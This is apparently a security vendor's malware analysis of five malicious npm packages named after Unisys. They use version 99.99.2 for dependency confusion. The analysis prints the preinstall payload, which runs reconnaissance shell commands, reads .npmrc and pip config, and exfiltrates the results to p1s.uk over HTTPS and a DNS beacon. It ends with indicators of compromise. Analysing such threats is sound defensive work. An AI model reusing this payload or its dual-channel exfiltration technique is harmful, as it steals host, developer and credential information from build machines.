unisys-core - Recon Cluster
Five-package cluster of malicious packages. The packages — unisys-agentic-ai-playground, unisys-auth, unisys-common, unisys-core, and unisys-sdk — use Unisys-style package naming and version 99.99.2 to beat internal npm install pinning. All five share an identical index.js payload; only the name and description fields in package.json differ. The payload is substantially more capable than the arlo-meeting-assistant-backend cluster: beyond hostname and username, it executes shell commands (whoami, id, uname -a, head of /etc/passwd and /etc/hosts), harvests the first 30 environment variable key names, extracts npm registry config, git user email, AWS credential presence, CI environment detection, Docker context, pip config, and the first three lines of .npmrc. Exfiltration uses two independent channels: an HTTPS POST to p1s.uk and a DNS beacon encoding the package name and hostname into subdomains of dep.p1s.uk — ensuring collection succeeds even in environments that block outbound HTTP. Author is fabricated as "platform-tools" to appear as a legitimate internal toolchain publisher. Severity is high in CI/CD contexts; all five packages fire simultaneously if a project depends on multiple names, broadening the attack surface.
Package
unisys-core
99.99.2
elitevishalorg
vishalkumarrpvv@gmail.com
Threat Actor
UnknownTags
Package Metadata — Fabricated Legitimacy
Each package carries a plausible description tailored to its name, designed to pass casual inspection. The author field "platform-tools" impersonates a legitimate internal toolchain publisher. The preinstall hook runs index.js directly — unlike the Arlo cluster, there is no separate postinstall.js; all payload logic lives in the same file that serves as the entry point.
package.json — fabricated metadata per package
// unisys-agentic-ai-playground
{ "description": "SDK components and integration helpers", "scripts": { "preinstall": "node index.js" }, "author": "platform-tools" }
// unisys-auth
{ "description": "Authentication and authorization utilities", "scripts": { "preinstall": "node index.js" }, "author": "platform-tools" }
// unisys-common
{ "description": "Common utilities and shared helpers", "scripts": { "preinstall": "node index.js" }, "author": "platform-tools" }
// unisys-core
{ "description": "Core platform modules", "scripts": { "preinstall": "node index.js" }, "author": "platform-tools" }
// unisys-sdk
{ "description": "Shared UI components and utilities", "scripts": { "preinstall": "node index.js" }, "author": "platform-tools" }
Shell Command Execution
The payload wraps execSync in a helper function that silently swallows errors and caps execution at three seconds per command. Commands are run for both reconnaissance and CI/CD context detection. The id command is particularly valuable to the attacker in pipeline environments: on a CI runner, the service account's UID, GID, and group memberships reveal whether the pipeline has privileged access (e.g. docker group membership, sudo rights). The inclusion of /etc/passwd head and /etc/hosts head leaks internal hostnames and any non-standard system accounts configured on the build machine.
index.js — shell command execution helper and recon targets
function run(cmd) {
try { return execSync(cmd, { timeout: 3000 }).toString().trim(); } catch(e) { return ''; }
}
const data = JSON.stringify({
p: pkg,
h: os.hostname(),
u: os.userInfo().username,
d: __dirname,
c: process.cwd(),
t: new Date().toISOString(),
ip: Object.values(os.networkInterfaces()).flat()
.filter(i => !i.internal && i.family === 'IPv4')
.map(i => i.address),
whoami: run('whoami'),
id: run('id'), // UID/GID/group memberships
pwd: run('pwd'),
uname: run('uname -a'),
etc_passwd: run('head -5 /etc/passwd'),
etc_hosts: run('head -5 /etc/hosts'),
env_keys: Object.keys(process.env).slice(0, 30), // key names only — reveals what secrets are configured
path: process.env.PATH || '',
home: process.env.HOME || '',
node: process.version,
arch: os.arch(),
platform: os.platform(),
mem: Math.round(os.totalmem() / 1024 / 1024) + 'MB',
uptime: Math.round(os.uptime()) + 's',
npm_config: run('npm config get registry 2>/dev/null'), // reveals internal Artifactory/Nexus
git_user: run('git config user.email 2>/dev/null'), // directly identifies the developer
aws_id: process.env.AWS_ACCESS_KEY_ID ? 'SET' : '',
ci: process.env.GITHUB_ACTIONS || process.env.GITLAB_CI || '',
docker: run('cat /proc/1/cgroup 2>/dev/null | head -3'),
pip_conf: run('cat /etc/pip.conf 2>/dev/null || cat ~/.pip/pip.conf 2>/dev/null'),
npmrc: run('cat /etc/npmrc 2>/dev/null || cat ~/.npmrc 2>/dev/null | head -3')
});
Dual Exfiltration — HTTPS and DNS Beacon
The payload operates two independent exfiltration channels. The primary channel is an HTTPS POST to p1s.uk:443/dep-confusion/{package-name} carrying the full JSON payload. The secondary channel is a DNS beacon: two lookups are attempted against subdomains of dep.p1s.uk, encoding the package name and victim hostname into the subdomain labels. DNS beaconing is specifically designed for environments that block outbound HTTP/HTTPS — corporate networks commonly permit DNS resolution while restricting direct internet access, meaning the DNS beacon succeeds in environments where the HTTPS POST would fail. The attacker receives at minimum a confirmation of the package name and victim hostname even in heavily restricted networks.
index.js — HTTPS POST and DNS beacon exfiltration
// Primary: HTTPS POST with full payload
const req = https.request({
hostname: 'p1s.uk',
port: 443,
path: '/dep-confusion/' + pkg,
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
timeout: 5000
}, () => {});
req.on('error', () => {});
req.write(data);
req.end();
// Secondary: DNS beacon — works through outbound-HTTP-blocked environments
try { dns.resolve(pkg + '.dep.p1s.uk', () => {}); } catch(e) {}
try { dns.resolve(os.hostname() + '.' + pkg + '.dep.p1s.uk', () => {}); } catch(e) {}
CI/CD Context and Severity
The shell command execution (id, head /etc/passwd, git config user.email) is the most dangerous element in CI/CD environments: on a GitHub Actions runner, a GitLab CI job, or a Jenkins agent, those commands expose the service account context, pipeline identity, and the presence of AWS credentials loaded into the environment. The npm_config field directly reveals whether an internal Artifactory or Nexus registry is in use — valuable intelligence for a follow-on supply chain attack. The git_user field uniquely identifies the developer who triggered the install. If a project depends on multiple package names from this cluster (e.g. unisys-core and unisys-auth), all five fire simultaneously, multiplying the signal returned to the attacker from a single npm install run.
Indicators of Compromise
Malicious Packages
| Package | Version | Author | Notes |
|---|---|---|---|
| unisys-agentic-ai-playground | 99.99.2 | platform-tools | Recon; preinstall hook; identical payload to all four sibling packages |
| unisys-auth | 99.99.2 | platform-tools | Recon; preinstall hook; identical payload to all four sibling packages |
| unisys-common | 99.99.2 | platform-tools | Recon; preinstall hook; identical payload to all four sibling packages |
| unisys-core | 99.99.2 | platform-tools | Recon; preinstall hook; identical payload to all four sibling packages |
| unisys-sdk | 99.99.2 | platform-tools | Recon; preinstall hook; identical payload to all four sibling packages |
Domains
| Domain | Type | Context |
|---|---|---|
| p1s[.]uk | C2 | Primary exfiltration receiver — accepts HTTPS POST with full recon payload; shared with Arlo cluster (arlo-meeting-assistant-backend) and unisys-uka |
| dep.p1s[.]uk | C2 — DNS beacon | DNS exfiltration subdomain; package name and hostname encoded as subdomain labels for beacon in HTTP-blocked environments |
URLs
| URL | Context |
|---|---|
| hxxps://p1s[.]uk/dep-confusion/unisys-agentic-ai-playground | Primary exfiltration endpoint — unisys-agentic-ai-playground |
| hxxps://p1s[.]uk/dep-confusion/unisys-auth | Primary exfiltration endpoint — unisys-auth |
| hxxps://p1s[.]uk/dep-confusion/unisys-common | Primary exfiltration endpoint — unisys-common |
| hxxps://p1s[.]uk/dep-confusion/unisys-core | Primary exfiltration endpoint — unisys-core |
| hxxps://p1s[.]uk/dep-confusion/unisys-sdk | Primary exfiltration endpoint — unisys-sdk |
| {pkg}.dep.p1s[.]uk | DNS beacon — package name encoded in subdomain label |
| {hostname}.{pkg}.dep.p1s[.]uk | DNS beacon — victim hostname and package name both encoded in subdomain labels |
Environment Variables / Config Paths
| Artefact | Context |
|---|---|
| AWS_ACCESS_KEY_ID | Presence checked (SET / empty) — confirms whether AWS credentials are loaded into the environment |
| GITHUB_ACTIONS / GITLAB_CI | CI environment detection — identifies pipeline context |
| PATH / HOME | Always collected — reveals environment layout |
| * (first 30 key names) | env_keys field collects the first 30 environment variable names without their values — key names alone reveal which secrets are configured (e.g. DATABASE_URL, GITHUB_TOKEN, NPM_TOKEN) |